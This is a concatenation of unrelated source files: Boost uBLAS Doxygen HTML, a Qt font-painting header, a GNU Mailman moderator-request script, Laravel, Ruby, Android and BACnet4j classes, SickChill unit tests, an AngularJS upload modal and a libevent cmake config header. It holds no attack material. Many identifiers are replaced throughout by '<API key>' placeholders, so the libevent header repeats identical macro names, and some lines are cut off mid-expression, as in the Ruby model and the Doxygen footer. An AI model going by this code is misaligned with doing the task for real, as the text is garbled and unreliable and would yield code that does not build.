<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">vector</a>(const array_type &data)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">vector</a>(size_type size, const value_type &init)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">vector</a>(const vector &v)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">vector</a>(const vector_expression< AE > &ae)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b><API key></b> typedef (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>~ublas_expression</b>() (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::ublas_expression< vector< T, A > ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::ublas_expression< vector< T, A > ></a></td><td><code> [protected]</code></td></tr>
</table></div>
<hr size="1"/><address style="text-align: right;"><small>Generated on Sun Jul 4 20:31:07 2010 for ublas by
<a href="http:
<img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.6.1 </small></address>
</body>
</html>
|
#ifndef _UI_UTILS_H
#define _UI_UTILS_H
namespace QSanUiUtils {
// This is in no way a generic diation fuction. It is some dirty trick that
// produces a shadow image for a pixmap whose foreground mask is binaryImage
QImage produceShadow(const QImage &image, QColor shadowColor, int radius, double decade);
void makeGray(QPixmap &pixmap);
namespace QSanFreeTypeFont {
int *loadFont(const QString &fontPath);
QString resolveFont(const QString &fontName);
// @param painter
// Device to be painted on
// @param font
// Pointer returned by loadFont used to index a font
// @param text
// Text to be painted
// @param fontSize [IN, OUT]
// Suggested width and height of each character in pixels. If the
// bounding box cannot contain the text using the suggested font
// size, font size may be shrinked. The output value will be the
// actual font size used.
// @param boundingBox
// Text will be painted in the center of the bounding box on the device
// @param orient
// Suggest whether the text is laid out horizontally or vertically.
// @return True if succeed.
bool paintQString(QPainter *painter, QString text,
int *font, QColor color,
QSize &fontSize, int spacing, int weight, QRect boundingBox,
Qt::Orientation orient, Qt::Alignment align);
// Currently, we online support horizotal layout for multiline text
bool <API key>(QPainter *painter, QString text,
int *font, QColor color,
QSize &fontSize, int spacing, QRect boundingBox,
Qt::Alignment align);
}
}
#endif
|
# import re, os
# from jandy.profiler import Profiler
# class Base:
# def __init__(self):
# print('init call')
# def compile(self, str):
# re.compile(str)
# p = Profiler("12K", "localhost:3000", 1)
# try:
# p.start()
# b = Base()
# b.compile("foo|bar")
# print("Hello World!!\n")
# finally:
# p.done()
# #try:
# # b.print_usage()
# #except e.MyException as e:
# # raise ValueError('failed')
|
# This file is part of GNU Mailman.
# GNU Mailman is free software: you can redistribute it and/or modify it under
# any later version.
# GNU Mailman is distributed in the hope that it will be useful, but WITHOUT
# more details.
import sys
import time
import optparse
from email.Charset import Charset
from mailman import MailList
from mailman import Utils
from mailman.app.requests import handle_request
from mailman.configuration import config
from mailman.core.i18n import _
from mailman.email.message import UserNotification
from mailman.initialize import initialize
from mailman.interfaces.requests import IListRequests, RequestType
from mailman.version import MAILMAN_VERSION
# Work around known problems with some RedHat cron daemons
import signal
signal.signal(signal.SIGCHLD, signal.SIG_DFL)
NL = u'\n'
now = time.time()
def parseargs():
parser = optparse.OptionParser(version=MAILMAN_VERSION,
usage=_("""\
%prog [options]
Check for pending admin requests and mail the list owners if necessary."""))
parser.add_option('-C', '--config',
help=_('Alternative configuration file to use'))
opts, args = parser.parse_args()
if args:
parser.print_help()
print(_('Unexpected arguments'), file=sys.stderr)
sys.exit(1)
return opts, args, parser
def pending_requests(mlist):
# Must return a byte string
lcset = mlist.preferred_language.charset
pending = []
first = True
requestsdb = IListRequests(mlist)
for request in requestsdb.of_type(RequestType.subscription):
if first:
pending.append(_('Pending subscriptions:'))
first = False
key, data = requestsdb.get_request(request.id)
when = data['when']
addr = data['addr']
fullname = data['fullname']
passwd = data['passwd']
digest = data['digest']
lang = data['lang']
if fullname:
if isinstance(fullname, unicode):
fullname = fullname.encode(lcset, 'replace')
fullname = ' (%s)' % fullname
pending.append(' %s%s %s' % (addr, fullname, time.ctime(when)))
first = True
for request in requestsdb.of_type(RequestType.held_message):
if first:
pending.append(_('\nPending posts:'))
first = False
key, data = requestsdb.get_request(request.id)
when = data['when']
sender = data['sender']
subject = data['subject']
reason = data['reason']
text = data['text']
msgdata = data['msgdata']
subject = Utils.oneline(subject, lcset)
date = time.ctime(when)
reason = _(reason)
pending.append(_("""\
From: $sender on $date
Subject: $subject
Cause: $reason"""))
pending.append('')
# Coerce all items in pending to a Unicode so we can join them
upending = []
charset = mlist.preferred_language.charset
for s in pending:
if isinstance(s, unicode):
upending.append(s)
else:
upending.append(unicode(s, charset, 'replace'))
# Make sure that the text we return from here can be encoded to a byte
# string in the charset of the list's language. This could fail if for
# example, the request was pended while the list's language was French,
# but then it was changed to English before checkdbs ran.
text = NL.join(upending)
charset = Charset(mlist.preferred_language.charset)
incodec = charset.input_codec or 'ascii'
outcodec = charset.output_codec or 'ascii'
if isinstance(text, unicode):
return text.encode(outcodec, 'replace')
# Be sure this is a byte string encodeable in the list's charset
utext = unicode(text, incodec, 'replace')
return utext.encode(outcodec, 'replace')
def auto_discard(mlist):
# Discard old held messages
discard_count = 0
expire = config.days(mlist.max_days_to_hold)
requestsdb = IListRequests(mlist)
heldmsgs = list(requestsdb.of_type(RequestType.held_message))
if expire and heldmsgs:
for request in heldmsgs:
key, data = requestsdb.get_request(request.id)
if now - data['date'] > expire:
handle_request(mlist, request.id, config.DISCARD)
discard_count += 1
mlist.Save()
return discard_count
# Figure out epoch seconds of midnight at the start of today (or the given
# 3-tuple date of (year, month, day).
def midnight(date=None):
if date is None:
date = time.localtime()[:3]
# -1 for dst flag tells the library to figure it out
return time.mktime(date + (0,)*5 + (-1,))
def main():
opts, args, parser = parseargs()
initialize(opts.config)
for name in config.list_manager.names:
# The list must be locked in order to open the requests database
mlist = MailList.MailList(name)
try:
count = IListRequests(mlist).count
# While we're at it, let's evict yesterday's autoresponse data
midnight_today = midnight()
evictions = []
for sender in mlist.<API key>.keys():
date, respcount = mlist.<API key>[sender]
if midnight(date) < midnight_today:
evictions.append(sender)
if evictions:
for sender in evictions:
del mlist.<API key>[sender]
# This is the only place we've changed the list's database
mlist.Save()
if count:
# Set the default language the the list's preferred language.
_.default = mlist.preferred_language
realname = mlist.real_name
discarded = auto_discard(mlist)
if discarded:
count = count - discarded
text = _('Notice: $discarded old request(s) '
'automatically expired.\n\n')
else:
text = ''
if count:
text += Utils.maketext(
'checkdbs.txt',
{'count' : count,
'mail_host': mlist.mail_host,
'adminDB' : mlist.GetScriptURL('admindb',
absolute=1),
'real_name': realname,
}, mlist=mlist)
text += '\n' + pending_requests(mlist)
subject = _('$count $realname moderator '
'request(s) waiting')
else:
subject = _('$realname moderator request check result')
msg = UserNotification(mlist.GetOwnerEmail(),
mlist.GetBouncesEmail(),
subject, text,
mlist.preferred_language)
msg.send(mlist, **{'tomoderators': True})
finally:
mlist.Unlock()
if __name__ == '__main__':
main()
|
#pragma once
#include "nanoflann.h"
#include "coord.h"
#include "typeset.h"
// TypeSet to nanoflann kd-tree adaptor class
class CoordTypeSetAdaptor
{
public:
CoordTypeSetAdaptor( const TypeSet<Coord>& obj ) : obj_(obj) {}
inline size_t <API key>() const { return obj_.size(); }
inline Pos::Ordinate_Type kdtree_get_pt(const size_t idx, const size_t dim) const
{
return dim==0 ? obj_[idx].x : obj_[idx].y;
}
template <class BBOX>
bool kdtree_get_bbox(BBOX& ) const { return false; }
const TypeSet<Coord>& obj_;
};
typedef nanoflann::<API key><
nanoflann::L2_Simple_Adaptor<Pos::Ordinate_Type, CoordTypeSetAdaptor >,
CoordTypeSetAdaptor,
2> CoordKDTree;
|
require 'uuid'
class CompassAeInstance < ActiveRecord::Base
attr_protected :created_at, :updated_at
has_tracked_status
has_many :parties, :through => :<API key>
has_many :<API key>, :dependent => :destroy do
def owners
where('role_type_id = ?', RoleType.<API key>.id)
end
end
validates :guid, :uniqueness => true
validates :internal_identifier, :presence => {:message => 'internal_identifier cannot be blank'}, :uniqueness => {:case_sensitive => false}
def installed_engines
Rails.application.config.erp_base_erp_svcs.compass_ae_engines.map do |compass_ae_engine|
klass_name = compass_ae_engine.railtie_name.camelize
{:name => klass_name, :version => ("
end
end
#helpers for guid
def set_guid(guid)
self.guid = guid
self.save
end
def get_guid
self.guid
end
def setup_guid
guid = Digest::SHA1.hexdigest(Time.now.to_s + rand(10000).to_s)
set_guid(guid)
guid
end
end
|
<?php
namespace App\Console;
use Illuminate\Console\Command;
use Illuminate\Validation\ValidationException;
use Symfony\Component\Console\Exception\<API key>;
use Validator;
abstract class LnmsCommand extends Command
{
protected $developer = false;
/**
* Create a new command instance.
*
* @return void
*/
public function __construct()
{
parent::__construct();
$this->setDescription(__('commands.' . $this->getName() . '.description'));
}
public function isHidden()
{
$env = $this->getLaravel() ? $this->getLaravel()->environment() : getenv('APP_ENV');
return $this->hidden || ($this->developer && $env !== 'production');
}
/**
* Adds an argument. If $description is null, translate commands.command-name.arguments.name
* If you want the description to be empty, just set an empty string
*
* @param string $name The argument name
* @param int|null $mode The argument mode: InputArgument::REQUIRED or InputArgument::OPTIONAL
* @param string $description A description text
* @param string|string[]|null $default The default value (for InputArgument::OPTIONAL mode only)
*
* @throws <API key> When argument mode is not valid
*
* @return $this
*/
public function addArgument($name, $mode = null, $description = null, $default = null)
{
// use a generated translation location by default
if (is_null($description)) {
$description = __('commands.' . $this->getName() . '.arguments.' . $name);
}
parent::addArgument($name, $mode, $description, $default);
return $this;
}
/**
* Adds an option. If $description is null, translate commands.command-name.arguments.name
* If you want the description to be empty, just set an empty string
*
* @param string $name The option name
* @param string|array|null $shortcut The shortcuts, can be null, a string of shortcuts delimited by | or an array of shortcuts
* @param int|null $mode The option mode: One of the InputOption::VALUE_* constants
* @param string $description A description text
* @param string|string[]|int|bool|null $default The default value (must be null for InputOption::VALUE_NONE)
*
* @throws <API key> If option mode is invalid or incompatible
*
* @return $this
*/
public function addOption($name, $shortcut = null, $mode = null, $description = null, $default = null)
{
// use a generated translation location by default
if (is_null($description)) {
$description = __('commands.' . $this->getName() . '.options.' . $name);
}
parent::addOption($name, $shortcut, $mode, $description, $default);
return $this;
}
/**
* Validate the input of this command. Uses Laravel input validation
* merging the arguments and options together to check.
*
* @param array $rules
* @param array $messages
*/
protected function validate($rules, $messages = [])
{
$validator = Validator::make($this->arguments() + $this->options(), $rules, $messages);
try {
$validator->validate();
} catch (ValidationException $e) {
collect($validator->getMessageBag()->all())->each(function ($message) {
$this->error($message);
});
exit(1);
}
}
}
|
package com.example.mathsolver;
import android.annotation.TargetApi;
import android.app.Fragment;
import android.os.Build;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
@TargetApi(Build.VERSION_CODES.HONEYCOMB)
public class AreaFragmentRight extends Fragment {
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
// TODO Auto-generated method stub
return inflater.inflate(R.layout.area_right, container, false);
}
}
|
# coding=utf-8
# This file is part of SickChill.
# SickChill is free software: you can redistribute it and/or modify
# (at your option) any later version.
# SickChill is distributed in the hope that it will be useful,
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
"""
Test shows
"""
# pylint: disable=line-too-long
from __future__ import print_function, unicode_literals
import os
import sys
import unittest
sys.path.insert(1, os.path.abspath(os.path.join(os.path.dirname(__file__), '../../../lib')))
sys.path.insert(1, os.path.abspath(os.path.join(os.path.dirname(__file__), '../../..')))
import sickbeard
import six
from sickbeard.common import Quality
from sickbeard.tv import TVShow
from sickchill.helper.exceptions import <API key>
from sickchill.show.Show import Show
class ShowTests(unittest.TestCase):
"""
Test shows
"""
def test_find(self):
"""
Test find tv shows by indexer_id
"""
sickbeard.QUALITY_DEFAULT = Quality.FULLHDTV
sickbeard.showList = []
show123 = TestTVShow(0, 123)
show456 = TestTVShow(0, 456)
show789 = TestTVShow(0, 789)
shows = [show123, show456, show789]
shows_duplicate = shows + shows
test_cases = {
(False, None): None,
(False, ''): None,
(False, '123'): None,
(False, 123): None,
(False, 12.3): None,
(True, None): None,
(True, ''): None,
(True, '123'): None,
(True, 123): show123,
(True, 12.3): None,
(True, 456): show456,
(True, 789): show789,
}
unicode_test_cases = {
(False, ''): None,
(False, '123'): None,
(True, ''): None,
(True, '123'): None,
}
for tests in test_cases, unicode_test_cases:
for ((use_shows, indexer_id), result) in six.iteritems(tests):
if use_shows:
self.assertEqual(Show.find(shows, indexer_id), result)
else:
self.assertEqual(Show.find(None, indexer_id), result)
with self.assertRaises(<API key>):
Show.find(shows_duplicate, 456)
def <API key>(self):
"""
Tests if the indexer_id is valid and if so if it returns the right show
"""
sickbeard.QUALITY_DEFAULT = Quality.FULLHDTV
sickbeard.showList = []
show123 = TestTVShow(0, 123)
show456 = TestTVShow(0, 456)
show789 = TestTVShow(0, 789)
sickbeard.showList = [
show123,
show456,
show789,
]
invalid_show_id = ('Invalid show ID', None)
indexer_id_list = [
None, '', '', '123', '123', '456', '456', '789', '789', 123, 456, 789, ['123', '456'], ['123', '456'],
[123, 456]
]
results_list = [
invalid_show_id, invalid_show_id, invalid_show_id, (None, show123), (None, show123), (None, show456),
(None, show456), (None, show789), (None, show789), (None, show123), (None, show456), (None, show789),
invalid_show_id, invalid_show_id, invalid_show_id
]
self.assertEqual(
len(indexer_id_list), len(results_list),
'Number of parameters ({0:d}) and results ({1:d}) does not match'.format(len(indexer_id_list), len(results_list))
)
for (index, indexer_id) in enumerate(indexer_id_list):
self.assertEqual(Show.<API key>(indexer_id), results_list[index]) # pylint: disable=protected-access
class TestTVShow(TVShow):
"""
A test `TVShow` object that does not need DB access.
"""
def __init__(self, indexer, indexer_id):
super(TestTVShow, self).__init__(indexer, indexer_id)
def loadFromDB(self):
"""
Override TVShow.loadFromDB to avoid DB access during testing
"""
pass
if __name__ == '__main__':
print('=====> Testing {0}'.format(__file__))
SUITE = unittest.TestLoader().<API key>(ShowTests)
unittest.TextTestRunner(verbosity=2).run(SUITE)
|
<div class="modal-header">
<button type="button" class="close" ng-click="$dismiss()" aria-hidden="true">×</button>
<h4 class="modal-title" id="new-file-label">New file...</h4>
</div>
<form name="newFileForm" novalidate ng-submit="newFile()">
<div class="modal-body" style="font-size: 16px; padding-bottom: 0">
<div ng-class="{'has-error': inputError}" class="form-group">
<div class="row">
<div class="col-xs-4 text-right" style="padding-right: 10px">
<select ng-model="new_file_folder" style="outline: none" class="form-control">
<option>common</option>
<option>{{question}}</option>
<option>tests</option>
</select>
</div>
<div class="col-xs-8" style="padding-left: 0">
<input type="text"
ng-model="new_file_name"
name="new_file_name"
class="form-control"
placeholder="(file name)"
focus-me="true"
style="outline: none; width: 200px; padding-left: 5px">
<span class="help-block" ng-show="inputError">{{inputError}}</span>
</div>
</div>
<div class="row" id="upload-file-row">
<div class="col-xs-8 col-xs-offset-4 form-group" style="padding-left: 0">
<label for="file-to-upload">
<span class="text-muted">or</span>
upload files:
</label>
<input type="file" name="file-to-upload" multiple id="file-to-upload"
class="form-control"
filelist-bind="new_file_upload">
<label style="font-size:14px">
<input type="checkbox" name="normalize-newlines" ng-model="normalize" />
Normalize newlines on upload
</label>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" ng-click="$dismiss()">Cancel</button>
<input type="submit" class="btn btn-primary" value="OK"></input>
</div>
</form>
|
package com.serotonin.bacnet4j.type.<API key>;
import com.serotonin.bacnet4j.exception.BACnetException;
import com.serotonin.bacnet4j.type.AmbiguousValue;
import com.serotonin.bacnet4j.type.Encodable;
import com.serotonin.bacnet4j.type.constructed.StatusFlags;
import com.serotonin.bacnet4j.util.sero.ByteQueue;
public class CommandFailure extends <API key> {
private static final long serialVersionUID = <API key>;
public static final byte TYPE_ID = 3;
private final Encodable commandValue;
private final StatusFlags statusFlags;
private final Encodable feedbackValue;
public CommandFailure(Encodable commandValue, StatusFlags statusFlags, Encodable feedbackValue) {
this.commandValue = commandValue;
this.statusFlags = statusFlags;
this.feedbackValue = feedbackValue;
}
@Override
protected void writeImpl(ByteQueue queue) {
writeEncodable(queue, commandValue, 0);
write(queue, statusFlags, 1);
writeEncodable(queue, feedbackValue, 2);
}
public CommandFailure(ByteQueue queue) throws BACnetException {
commandValue = new AmbiguousValue(queue, 0);
statusFlags = read(queue, StatusFlags.class, 1);
feedbackValue = new AmbiguousValue(queue, 2);
}
@Override
protected int getTypeId() {
return TYPE_ID;
}
public Encodable getCommandValue() {
return commandValue;
}
public StatusFlags getStatusFlags() {
return statusFlags;
}
public Encodable getFeedbackValue() {
return feedbackValue;
}
@Override
public int hashCode() {
final int PRIME = 31;
int result = 1;
result = PRIME * result + ((commandValue == null) ? 0 : commandValue.hashCode());
result = PRIME * result + ((feedbackValue == null) ? 0 : feedbackValue.hashCode());
result = PRIME * result + ((statusFlags == null) ? 0 : statusFlags.hashCode());
return result;
}
@Override
public boolean equals(Object obj) {
if (this == obj)
return true;
if (obj == null)
return false;
if (getClass() != obj.getClass())
return false;
final CommandFailure other = (CommandFailure) obj;
if (commandValue == null) {
if (other.commandValue != null)
return false;
}
else if (!commandValue.equals(other.commandValue))
return false;
if (feedbackValue == null) {
if (other.feedbackValue != null)
return false;
}
else if (!feedbackValue.equals(other.feedbackValue))
return false;
if (statusFlags == null) {
if (other.statusFlags != null)
return false;
}
else if (!statusFlags.equals(other.statusFlags))
return false;
return true;
}
}
|
/* event-config.h
*
* This file was generated by cmake when the makefiles were generated.
*
* DO NOT EDIT THIS FILE.
*
* Do not rely on macros in this file existing in later versions.
*/
#ifndef <API key>
#define <API key>
/* Numeric representation of the version */
#define <API key> @<API key>@
#define <API key> "@<API key>@"
#define <API key> @EVENT_VERSION_MAJOR@
#define <API key> @EVENT_VERSION_MINOR@
#define <API key> @EVENT_VERSION_PATCH@
/* Version number of package */
#define EVENT__VERSION "@EVENT_VERSION@"
/* Name of package */
#define EVENT__PACKAGE "libevent"
/* Define to the address where bug reports for this package should be sent. */
#define <API key> ""
/* Define to the full name of this package. */
#define EVENT__PACKAGE_NAME ""
/* Define to the full name and version of this package. */
#define <API key> ""
/* Define to the one symbol short name of this package. */
#define <API key> ""
/* Define if libevent should build without support for a debug mode */
#cmakedefine <API key> 1
/* Define if libevent should not allow replacing the mm functions */
#cmakedefine <API key> 1
/* Define if libevent should not be compiled with thread support */
#cmakedefine <API key> 1
/* Define to 1 if you have the `accept4' function. */
#cmakedefine EVENT__HAVE_ACCEPT4 1
/* Define to 1 if you have the `arc4random' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `arc4random_buf' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `<API key>' function. */
#cmakedefine <API key> 1
/* Define if clock_gettime is available in libc */
#cmakedefine <API key> 1
/* Define is no secure id variant is available */
#cmakedefine <API key> 1
#cmakedefine <API key> 1
/* Define to 1 if you have the <arpa/inet.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `clock_gettime' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the declaration of `CTL_KERN'. */
#define <API key> @<API key>@
/* Define to 1 if you have the declaration of `KERN_ARND'. */
#define <API key> @<API key>@
/* Define to 1 if you have the declaration of `KERN_RANDOM'. */
#define <API key> @<API key>@
/* Define to 1 if you have the declaration of `RANDOM_UUID'. */
#define <API key> @<API key>@
/* Define if /dev/poll is available */
#cmakedefine EVENT__HAVE_DEVPOLL 1
/* Define to 1 if you have the <netdb.h> header file. */
#cmakedefine EVENT__HAVE_NETDB_H 1
/* Define to 1 if fd_mask type is defined */
#cmakedefine EVENT__HAVE_FD_MASK 1
/* Define to 1 if the <sys/queue.h> header file defines TAILQ_FOREACH. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <dlfcn.h> header file. */
#cmakedefine EVENT__HAVE_DLFCN_H 1
/* Define if your system supports the epoll system calls */
#cmakedefine EVENT__HAVE_EPOLL 1
/* Define to 1 if you have the `epoll_create1' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `epoll_ctl' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `eventfd' function. */
#cmakedefine EVENT__HAVE_EVENTFD 1
/* Define if your system supports event ports */
#cmakedefine <API key> 1
/* Define to 1 if you have the `fcntl' function. */
#cmakedefine EVENT__HAVE_FCNTL 1
/* Define to 1 if you have the <fcntl.h> header file. */
#cmakedefine EVENT__HAVE_FCNTL_H 1
/* Define to 1 if you have the `getaddrinfo' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `getegid' function. */
#cmakedefine EVENT__HAVE_GETEGID 1
/* Define to 1 if you have the `geteuid' function. */
#cmakedefine EVENT__HAVE_GETEUID 1
/* TODO: Check for different gethostname argument counts. <API key>.cmake can be used. */
/* Define this if you have any gethostbyname_r() */
#cmakedefine <API key> 1
/* Define this if gethostbyname_r takes 3 arguments */
#cmakedefine <API key> 1
/* Define this if gethostbyname_r takes 5 arguments */
#cmakedefine <API key> 1
/* Define this if gethostbyname_r takes 6 arguments */
#cmakedefine <API key> 1
/* Define to 1 if you have the `getifaddrs' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `getnameinfo' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `getprotobynumber' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `getservbyname' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `gettimeofday' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <ifaddrs.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `inet_ntop' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `inet_pton' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <inttypes.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `issetugid' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `kqueue' function. */
#cmakedefine EVENT__HAVE_KQUEUE 1
/* Define if the system has zlib */
#cmakedefine EVENT__HAVE_LIBZ 1
/* Define to 1 if you have the `mach_absolute_time' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <mach/mach_time.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <memory.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `mmap' function. */
#cmakedefine EVENT__HAVE_MMAP 1
/* Define to 1 if you have the `nanosleep' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `usleep' function. */
#cmakedefine EVENT__HAVE_USLEEP 1
/* Define to 1 if you have the <netinet/in6.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <netinet/in.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <netinet/tcp.h> header file. */
#cmakedefine <API key> 1
/* Define if the system has openssl */
#cmakedefine EVENT__HAVE_OPENSSL 1
/* Define to 1 if you have the `pipe' function. */
#cmakedefine EVENT__HAVE_PIPE 1
/* Define to 1 if you have the `pipe2' function. */
#cmakedefine EVENT__HAVE_PIPE2 1
/* Define to 1 if you have the `poll' function. */
#cmakedefine EVENT__HAVE_POLL 1
/* Define to 1 if you have the <poll.h> header file. */
#cmakedefine EVENT__HAVE_POLL_H 1
/* Define to 1 if you have the `port_create' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <port.h> header file. */
#cmakedefine EVENT__HAVE_PORT_H 1
/* Define if we have pthreads on this system */
#cmakedefine <API key> 1
/* Define to 1 if you have the `putenv' function. */
#cmakedefine EVENT__HAVE_PUTENV 1
/* Define to 1 if the system has the type `sa_family_t'. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `select' function. */
#cmakedefine EVENT__HAVE_SELECT 1
/* Define to 1 if you have the `setenv' function. */
#cmakedefine EVENT__HAVE_SETENV 1
/* Define if F_SETFD is defined in <fcntl.h> */
#cmakedefine EVENT__HAVE_SETFD 1
/* Define to 1 if you have the `setrlimit' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `sendfile' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `sigaction' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `signal' function. */
#cmakedefine EVENT__HAVE_SIGNAL 1
/* Define to 1 if you have the `splice' function. */
#cmakedefine EVENT__HAVE_SPLICE 1
/* Define to 1 if you have the <stdarg.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <stddef.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <stdint.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <stdlib.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <strings.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <string.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `strlcpy' function. */
#cmakedefine EVENT__HAVE_STRLCPY 1
/* Define to 1 if you have the `strsep' function. */
#cmakedefine EVENT__HAVE_STRSEP 1
/* Define to 1 if you have the `strtok_r' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `strtoll' function. */
#cmakedefine EVENT__HAVE_STRTOLL 1
/* Define to 1 if the system has the type `struct addrinfo'. */
#cmakedefine <API key> 1
/* Define to 1 if the system has the type `struct in6_addr'. */
#cmakedefine <API key> 1
/* Define to 1 if `s6_addr16' is member of `struct in6_addr'. */
#cmakedefine <API key> 1
/* Define to 1 if `s6_addr32' is member of `struct in6_addr'. */
#cmakedefine <API key> 1
/* Define to 1 if the system has the type `struct sockaddr_in6'. */
#cmakedefine <API key> 1
/* Define to 1 if `sin6_len' is member of `struct sockaddr_in6'. */
#cmakedefine <API key> 1
/* Define to 1 if `sin_len' is member of `struct sockaddr_in'. */
#cmakedefine <API key> 1
/* Define to 1 if the system has the type `struct sockaddr_storage'. */
#cmakedefine <API key> 1
/* Define to 1 if `ss_family' is a member of `struct sockaddr_storage'. */
#cmakedefine <API key> 1
/* Define to 1 if `__ss_family' is a member of `struct sockaddr_storage'. */
#cmakedefine <API key> 1
/* Define to 1 if the system has the type `struct linger'. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `sysctl' function. */
#cmakedefine EVENT__HAVE_SYSCTL 1
/* Define to 1 if you have the <sys/devpoll.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <sys/epoll.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <sys/eventfd.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <sys/event.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <sys/ioctl.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <sys/mman.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <sys/param.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <sys/queue.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <sys/resource.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <sys/select.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <sys/sendfile.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <sys/socket.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <sys/stat.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <sys/sysctl.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <sys/timerfd.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <sys/time.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <sys/types.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <sys/uio.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <sys/wait.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the <errno.h> header file. */
#cmakedefine EVENT__HAVE_ERRNO_H 1
/* Define if TAILQ_FOREACH is defined in <sys/queue.h> */
#cmakedefine <API key> 1
/* Define if timeradd is defined in <sys/time.h> */
#cmakedefine <API key> 1
/* Define if timerclear is defined in <sys/time.h> */
#cmakedefine <API key> 1
/* Define if timercmp is defined in <sys/time.h> */
#cmakedefine <API key> 1
/* Define to 1 if you have the `timerfd_create' function. */
#cmakedefine <API key> 1
/* Define if timerisset is defined in <sys/time.h> */
#cmakedefine <API key> 1
/* Define to 1 if the system has the type `uint8_t'. */
#cmakedefine EVENT__HAVE_UINT8_T 1
/* Define to 1 if the system has the type `uint16_t'. */
#cmakedefine <API key> 1
/* Define to 1 if the system has the type `uint32_t'. */
#cmakedefine <API key> 1
/* Define to 1 if the system has the type `uint64_t'. */
#cmakedefine <API key> 1
/* Define to 1 if the system has the type `uintptr_t'. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `umask' function. */
#cmakedefine EVENT__HAVE_UMASK 1
/* Define to 1 if you have the <unistd.h> header file. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `unsetenv' function. */
#cmakedefine <API key> 1
/* Define to 1 if you have the `vasprintf' function. */
#cmakedefine <API key> 1
/* Define if kqueue works correctly with pipes */
#cmakedefine <API key> 1
#ifdef <API key>
/* Define to necessary symbol if this constant uses a non-standard name on your system. */
/* XXX: Hello, this isn't even used, nor is it defined anywhere... - Ellzey */
#define <API key> ${<API key>}
#endif
/* The size of `pthread_t', as computed by sizeof. */
#define <API key> @<API key>@
/* The size of a `int', as computed by sizeof. */
